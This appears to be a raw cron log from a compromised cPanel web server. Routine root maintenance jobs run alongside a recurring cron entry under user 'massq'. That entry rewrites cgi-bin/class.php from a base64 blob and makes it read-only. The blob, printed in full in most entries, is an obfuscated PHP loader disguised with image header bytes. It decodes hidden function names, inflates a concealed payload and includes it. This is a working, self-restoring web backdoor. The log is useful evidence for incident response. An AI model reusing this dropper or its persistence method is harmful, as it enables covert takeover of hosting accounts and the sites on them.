Sep  3 13:16:01 server CROND[14615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:16:01 server CROND[14616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:17:01 server CROND[15044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:17:01 server CROND[15045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:17:01 server CROND[15046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:18:01 server CROND[15444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:18:01 server CROND[15445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:18:01 server CROND[15446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:19:01 server CROND[15832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:19:01 server CROND[15833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:19:01 server CROND[15834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:20:01 server CROND[16234]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 13:20:01 server CROND[16235]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 13:20:01 server CROND[16238]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:20:01 server CROND[16241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:20:01 server CROND[16244]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 13:20:01 server CROND[16243]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 13:20:01 server CROND[16245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:20:01 server CROND[16249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:20:01 server CROND[16246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:21:01 server CROND[17183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:21:01 server CROND[17184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:21:01 server CROND[17185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:22:01 server CROND[17569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:22:01 server CROND[17570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:22:01 server CROND[17571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:23:01 server CROND[17950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:23:01 server CROND[17951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:23:01 server CROND[17952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:24:02 server CROND[18333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:24:02 server CROND[18334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:24:02 server CROND[18335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:25:01 server CROND[18714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:25:01 server CROND[18716]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 13:25:01 server CROND[18717]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:25:01 server CROND[18713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:25:01 server CROND[18715]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 13:25:01 server CROND[18718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:25:01 server CROND[18719]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:26:01 server CROND[19975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:26:01 server CROND[19976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:26:01 server CROND[19977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:27:01 server CROND[20369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:27:01 server CROND[20371]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 13:27:01 server CROND[20370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:27:01 server CROND[20372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:28:01 server CROND[20774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:28:01 server CROND[20775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:28:01 server CROND[20776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
